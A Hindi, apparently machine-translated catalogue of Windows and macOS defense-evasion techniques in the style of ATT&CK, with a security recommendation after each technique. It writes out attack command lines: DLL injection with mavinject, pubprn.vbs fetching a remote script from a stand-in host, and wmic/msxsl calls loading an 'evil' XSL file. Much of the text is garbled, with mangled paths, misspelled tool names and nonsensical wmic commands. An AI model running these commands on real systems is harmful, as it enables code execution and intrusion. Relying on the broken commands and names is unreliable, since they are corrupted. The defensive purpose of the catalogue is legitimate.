विवरण: विश्वसनीय डिजिटल प्रमाणपत्रों के साथ हस्ताक्षरित बाइनरी फाइलें विंडोज सिस्टम पर चलाई जा सकती हैं जो डिजिटल हस्ताक्षर सत्यापन द्वारा संरक्षित हैं। विंडोज़ की स्थापना के दौरान डिफ़ॉल्ट रूप से हस्ताक्षरित कई Microsoft फ़ाइलों का उपयोग अन्य फ़ाइलों के लॉन्च को प्रॉक्सी करने के लिए किया जा सकता है:

• Mavinject.exe एक विंडोज़ उपयोगिता है जो कोड को निष्पादित करने की अनुमति देता है। Mavinject का उपयोग DLL को चलाने की प्रक्रिया में प्रवेश करने के लिए किया जा सकता है:
"C: \ Program Files \ Common Files \ microsoft साझा \ ClickToRun \ MavInject32.exe" [PID] / INJECTRUNNING [PATH DLL];
C: \ Windows \ system32 \ mavinject.exe [PID] / INJECTRUNNING [पथ DLL];
• SyncAppvPublishingServer.exe - को पॉवरशेल के बिना पॉवरशेल स्क्रिप्ट को चलाने के लिए इस्तेमाल किया जा सकता है।
अभी भी कर रहे हैं कुछ इसी तरह की बाइनरी ।

सुरक्षा सिफारिशें: कई हस्ताक्षरित फाइलें आपके सिस्टम पर उपयोग नहीं की जा सकती हैं, इसलिए उनके लॉन्च को अवरुद्ध करने पर विचार करें।

हस्ताक्षरित लिपियों के माध्यम से प्रॉक्सी कोड निष्पादन (हस्ताक्षरित स्क्रिप्ट प्रॉक्सी निष्पादन)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: विश्वसनीय प्रमाणपत्रों के साथ हस्ताक्षरित लिपियों का उपयोग दुर्भावनापूर्ण फ़ाइलों को प्रॉक्सी करने के लिए किया जा सकता है, उदाहरण के लिए, PubPrn.vbs को Microsoft प्रमाणपत्र के साथ हस्ताक्षरित किया जाता है और किसी दूरस्थ सर्वर से फ़ाइल चलाने के लिए उपयोग किया जा सकता है:
cscript C \ Windows \ System32 \ प्रिंटिंग_ Admin_Scripts ru-RU \ pubprn.vbs 127.0.0.1 स्क्रिप्ट: http [:] // 192.168.1.100/hi.png

सुरक्षा अनुशंसाएँ: ऐसी हस्ताक्षरित स्क्रिप्ट आपके सिस्टम पर आवश्यक नहीं हो सकती हैं, इसलिए उनके लॉन्च को अवरुद्ध करने पर विचार करें।

सॉफ्टवेयर पैकिंग

सिस्टम: विंडोज
विवरण:सॉफ्टवेयर पैकेजिंग में निष्पादन योग्य फ़ाइलों के लिए संपीड़न या एन्क्रिप्शन विधियों का प्रतिकूल उपयोग शामिल है, जिसके परिणामस्वरूप फ़ाइल के चेकसम में बदलाव होता है, जो स्थैतिक हस्ताक्षर की खोज के आधार पर पहचान से बचता है। मेमोरी में अधिकांश डीकंप्रेसन मेथड्स एग्जीक्यूटेबल कोड। लोकप्रिय उपयोगिताओं के उदाहरण - निष्पादन योग्य फ़ाइल पैकर्स MPRESS और UPS हैं, हालांकि, कई अन्य पैकर्स ज्ञात हैं, इसके अलावा, विरोधी अपने स्वयं के पैकिंग के तरीके बना सकते हैं जो कि प्रसिद्ध कलाकृतियों के रूप में ऐसी कलाकृतियों को नहीं छोड़ेंगे। पैकेजिंग निष्पादन योग्य फाइलें मैलवेयर का एक स्पष्ट संकेतक नहीं है, क्योंकि वैध सॉफ़्टवेयर डेवलपर वितरण पैकेज के आकार को कम करने या मालिकाना कोड की सुरक्षा के लिए पैकेजिंग विधियों का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें:एंटी-वायरस सुरक्षा उपकरण अपडेट करें, मैलवेयर का पता लगाने के लिए कस्टम हस्ताक्षर बनाएं और हेयुरिस्टिक डिटेक्शन विधियों का उपयोग करें। संभावित खतरनाक सॉफ़्टवेयर को पहचानें और ब्लॉक करें।

फिल्नाम के बाद का स्थान

सिस्टम: लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण:हमलावर इसका एक्सटेंशन बदलकर किसी भी प्रकार की फ़ाइल को छिपा सकते हैं। कुछ प्रकार की फ़ाइलों के लिए (.app फ़ाइलों के साथ काम नहीं करता है), फ़ाइल नाम के अंत में एक अंतरिक्ष वर्ण जोड़ने से फ़ाइल को ऑपरेटिंग सिस्टम द्वारा संसाधित करने के तरीके में बदलाव होगा। उदाहरण के लिए, अगर कोई निष्पादन योग्य फ़ाइल Mach-O है, जिसका नाम bad.bin है, तो जब उपयोगकर्ता डबल-क्लिक करता है, तो OS टर्मिनल.app लॉन्च करेगा और उसे निष्पादित करेगा। यदि उसी फ़ाइल का नाम बदलकर bad.txt कर दिया जाता है, तो एक डबल क्लिक के साथ यह टेक्स्ट एडिटर में शुरू हो जाएगा। हालाँकि, यदि फ़ाइल का नाम बदलकर "bad.txt" (अंत में स्थान) है, तो सही फ़ाइल के प्रकार पर डबल-क्लिक करने से, OS निर्धारित हो जाएगा और बाइनरी फ़ाइल शुरू हो जाएगी। किसी दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल को लॉन्च करने में उपयोगकर्ता को धोखा देने के लिए हमलावर इस तकनीक का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें:इस तकनीक का उपयोग रोकना मुश्किल है क्योंकि एक हमलावर ओएस के मानक ऑपरेटिंग तंत्र का उपयोग करता है, इसलिए सुरक्षा वेक्टर को हमले के पहले चरणों में दुर्भावनापूर्ण कार्यों को रोकने के उद्देश्य से होना चाहिए, उदाहरण के लिए, वितरण के चरण में या सिस्टम में एक दुर्भावनापूर्ण फ़ाइल के निर्माण के लिए।

Timestomp

सिस्टम: विंडोज, लिनक्स
अधिकार: उपयोगकर्ता, प्रशासक, सिस्टम
विवरण: टाइमस्टंप फ़ाइल की टाइमस्टैम्प (परिवर्तन, पहुंच, निर्माण) में एक बदलाव है। अक्सर टाइमस्टैम्पिंग विधियों का उपयोग उन फ़ाइलों को मास्क करने के लिए किया जाता है जिन्हें एक हमलावर द्वारा संशोधित या निर्मित किया जाता है ताकि वे फोरेंसिक विशेषज्ञों और फोरेंसिक टूल के लिए ध्यान देने योग्य न हों। मैलवेयर और इंट्रूडर टूल्स को छिपाने के लिए फाइल नेम मास्किंग के साथ टाइमस्टैम्पिंग का उपयोग किया जा सकता है।

सुरक्षा सिफारिशें:संभावित खतरनाक और दुर्भावनापूर्ण सॉफ़्टवेयर के प्रक्षेपण को रोकने के लिए सुरक्षा वेक्टर को निर्देशित करें। फोरेंसिक किसी फाइल डिस्क्रिप्टर को खोलने और फाइल में निर्दिष्ट टाइमस्टैम्प के साथ तुलना करने के बारे में जानकारी एकत्र करके टाइमस्टैम्प के संशोधन का पता लगाने के लिए उपकरणों के आयोजन के तरीकों का वर्णन करता है।

विश्वसनीय डेवलपर उपयोगिताएँ

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: कई उपयोगिताओं हैं जो सॉफ्टवेयर डेवलपर्स द्वारा उपयोग किए जाते हैं और जिनका उपयोग सॉफ्टवेयर विकास, डिबगिंग और रिवर्स इंजीनियरिंग के दौरान विभिन्न रूपों में कोड निष्पादित करने के लिए किया जा सकता है। इन उपयोगिताओं को अक्सर डिजिटल प्रमाणपत्रों के साथ हस्ताक्षरित किया जाता है जो उन्हें सुरक्षा तंत्र और अनुप्रयोगों की सफेद शीट को दरकिनार करके ओएस में दुर्भावनापूर्ण कोड की अनुमति देता है।
• MSBulid एक सॉफ्टवेयर डेवलपमेंट प्लेटफ़ॉर्म है जिसका उपयोग Visual Studio में किया जाता है। यह XML फ़ाइलों के रूप में परियोजनाओं का उपयोग करता है जो विभिन्न प्लेटफार्मों और कॉन्फ़िगरेशन के निर्माण के लिए आवश्यकताओं का वर्णन करता है। .NET संस्करण 4 से MSBuild आपको एक XML प्रोजेक्ट में C # कोड डालने, उसे संकलित करने और फिर निष्पादित करने की अनुमति देता है। MSBulid.exe Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित है।
• DNX - .Net निष्पादन Environmant (dnx.exe) विज़ुअल स्टूडियो एंटरप्राइज के लिए एक विकास किट है। 2016 में .NET कोर CLI के बाद से बंद। DNX मानक विंडोज बिल्ड से गायब है और केवल .net Core और ASP.NET Core 1.0 का उपयोग करने पर डेवलपर होस्ट पर मौजूद हो सकता है। Dnx.exe डिजिटल रूप से हस्ताक्षरित है और इसका उपयोग प्रॉक्सी कोड निष्पादन के लिए किया जा सकता है।
• RCSI csi.exe के समान C # के लिए एक गैर-संवादात्मक कमांड-लाइन इंटरफ़ेस है। इसे रोजलिन .नेट कंपाइलर प्लेटफॉर्म के पुराने संस्करण में पेश किया गया था। Rcsi.exe Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित है। Windows कमांड प्रॉम्प्ट पर Rcsi.exe का उपयोग करके C # .csx स्क्रिप्ट फ़ाइलों को लिखा और निष्पादित किया जा सकता है।
• WinDbg / CDB एमएस विंडोज कर्नेल और उपयोगकर्ता-मोड में डीबगिंग के लिए एक उपयोगिता है। Microsoft कंसोल डीबगर cdb.exe भी एक उपयोगकर्ता-मोड डीबगर है। दोनों उपयोगिताओं को स्टैंडअलोन टूल के रूप में उपयोग किया जा सकता है। आमतौर पर सॉफ्टवेयर विकास, रिवर्स इंजीनियरिंग, और नियमित विंडोज सिस्टम पर नहीं पाया जा सकता है। WinDbg.exe और CDB.exe दोनों फ़ाइलों को Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है और इसका उपयोग प्रॉक्सी कोड के लिए किया जा सकता है।
• ट्रैकर - tracker.exe फ़ाइल ट्रैकिंग उपयोगिता। MSBuild के भाग के रूप में .NET में शामिल हैं। विंडोज 10 फ़ाइल सिस्टम में कॉल रजिस्टर करने के लिए उपयोग किया जाता है। हमलावर विभिन्न प्रक्रियाओं में DLL निष्पादित करने के लिए tracker.exe का उपयोग कर सकते हैं। Tracker.exe भी एक Microsoft प्रमाणपत्र के साथ हस्ताक्षरित है।

सुरक्षा सिफारिशें: उपरोक्त सभी फाइलें सिस्टम से हटाने के अधीन हैं, यदि उनका उपयोग उपयोगकर्ताओं द्वारा उनके इच्छित उद्देश्य के लिए नहीं किया जाता है।

वैध खाते

विवरण: हमलावर क्रेडेंशियल एक्सेस तकनीकों का उपयोग करके किसी विशिष्ट उपयोगकर्ता या सेवा खाते की क्रेडेंशियल्स चुरा सकते हैं, सोशल इंजीनियरिंग का उपयोग करके खुफिया प्रक्रिया के दौरान क्रेडेंशियल्स पर कब्जा कर सकते हैं। समझौता किए गए क्रेडेंशियल्स का उपयोग एक्सेस कंट्रोल सिस्टम को बायपास करने के लिए किया जा सकता है और वीपीएन, ओडब्ल्यूए, रिमोट डेस्कटॉप जैसी दूरस्थ प्रणालियों और बाहरी सेवाओं तक पहुंच प्राप्त कर सकता है, या नेटवर्क के विशिष्ट सिस्टम और क्षेत्रों पर उन्नत विशेषाधिकार प्राप्त कर सकता है। यदि परिदृश्य सफल होता है, तो हमलावर मैलवेयर का पता लगाने से इंकार कर सकते हैं। इसके अलावा, हमलावर अन्य साधनों का उपयोग करने के असफल प्रयासों के मामले में बैकअप पहुंच बनाए रखने के लिए पूर्वनिर्धारित नाम और पासवर्ड का उपयोग करके खाते बना सकते हैं।

सुरक्षा सिफारिशें: एक पासवर्ड नीति लागू करें, सभी प्रशासनिक स्तरों पर विशेषाधिकार प्राप्त खातों के उपयोग को सीमित करने के लिए कॉर्पोरेट नेटवर्क के डिजाइन और प्रशासन के लिए सिफारिशों का पालन करें। उन लोगों की पहचान करने के लिए डोमेन और स्थानीय खातों और उनके अधिकारों की नियमित जांच जो एक हमलावर को व्यापक पहुंच प्राप्त करने की अनुमति दे सकते हैं। सिएम सिस्टम का उपयोग करके खाता गतिविधि की निगरानी करना।

वेब सेवा

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: हमलावर एक संक्रमित प्रणाली को नियंत्रित करने के लिए कमांड भेजने के साधन के रूप में एक चल, वैध बाहरी वेब सेवा का उपयोग कर सकते हैं। प्रबंधन सर्वर को कमांड और कंट्रोल (C & C या C2) कहा जाता है। लोकप्रिय वेबसाइट और सामाजिक नेटवर्क C2 के लिए एक तंत्र के रूप में कार्य कर सकते हैं, और विभिन्न सार्वजनिक सेवाओं जैसे कि Google या ट्विटर का भी उपयोग किया जा सकता है। यह सब समग्र यातायात प्रवाह में दुर्भावनापूर्ण गतिविधि को छिपाने में मदद करता है। वेब सेवाएं आमतौर पर एसएसएल / टीएलएस का उपयोग करती हैं, इसलिए विरोधियों को सुरक्षा की एक अतिरिक्त परत मिलती है।

सुरक्षा सिफारिशें: बाहरी नेटवर्क संचार नीतियों को लागू करने के लिए फायरवॉल और वेब प्रॉक्सी का उपयोग किया जा सकता है। हस्ताक्षर विश्लेषण का उपयोग कर आईडीएस / आईपीएस सिस्टम नेटवर्क स्तर पर ज्ञात मैलवेयर का पता लगा सकते हैं। हालांकि, यह ध्यान में रखा जाना चाहिए कि समय के साथ, विरोधियों ने C2 टूल के हस्ताक्षर बदल दिए या प्रोटोकॉल का पुनर्निर्माण किया ताकि आमतौर पर इस्तेमाल किए जाने वाले गढ़ की मदद से पता लगाने से बचा जा सके। उपयोगकर्ता के व्यवहार की निगरानी के लिए उपकरणों का उपयोग असामान्य गतिविधि का पता लगाने की संभावना को भी बढ़ा सकता है।

XSL स्क्रिप्ट प्रोसेसिंग

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: एक्सटेंसिबल स्टाइल्सशीट लैंग्वेज (* .xsl) का इस्तेमाल आमतौर पर XML फाइलों में डेटा प्रोसेसिंग और रेंडरिंग का वर्णन करने के लिए किया जाता है। XSL में जटिल संचालन का समर्थन करने के लिए, विभिन्न भाषाओं में स्क्रिप्ट को कोड में एम्बेड करना संभव है। हमलावर मनमाने ढंग से फाइलों को अंजाम देने के लिए इस कार्यक्षमता का दुरुपयोग कर सकते हैं। विश्वसनीय डेवलपर उपयोगिताओं (विश्वसनीय डेवलपर उपयोगिताएँ) के दुरुपयोग की तकनीक के समान, विश्वसनीय उपयोगिता msxsl.exe, जो XML दस्तावेज़ को किसी अन्य रूप में कनवर्ट करता है (HTML, wml, rtf, PDF, आदि) स्थानीय में एम्बेडेड दुर्भावनापूर्ण जावास्क्रिप्ट निष्पादित करने के लिए इस्तेमाल किया जा सकता है। या नष्ट (URL के माध्यम से संदर्भित) XSL फाइलें। चूंकि msxsl.exe डिफ़ॉल्ट रूप से स्थापित नहीं है, इसलिए प्रतिकूल परिस्थितियों में इसे और अन्य आवश्यक फ़ाइलों को पैक करना होगा। उदाहरण कॉल msxsl.exe:
msxsl.exe ग्राहक [।] xml स्क्रिप्ट [।] xsl ।
इस तकनीक की एक और भिन्नता, जिसे स्क्वीटोल्तो कहा जाता है, एक xsl फ़ाइल से JScript या VBScript को लागू करने के लिए WMI का उपयोग करना है। यह तकनीक, स्क्वैलेडू की तरह, जो regsrv32.exe का दुरुपयोग करती है, विश्वसनीय विंडोज टूल्स का भी उपयोग करती है:
• स्थानीय फ़ाइल: विकी प्रक्रिया सूची /FORMAT:evil I...BIZxsl;
• दूरस्थ फ़ाइल: wmic os get / FORMAT : फिक्स्डशॉट्स [ : -------- // उदाहरण [। [/ / बुराई [! L xsl। "

सुरक्षा अनुशंसाएँ: यदि msxsl.exe का उपयोग सुरक्षित वातावरण में नहीं किया गया है, तो इसका निष्पादन रोकें। इसके विपरीत WMI को अक्षम करने से सिस्टम अस्थिरता हो सकती है, और इसलिए परिणामों के प्रारंभिक मूल्यांकन की आवश्यकता होती है।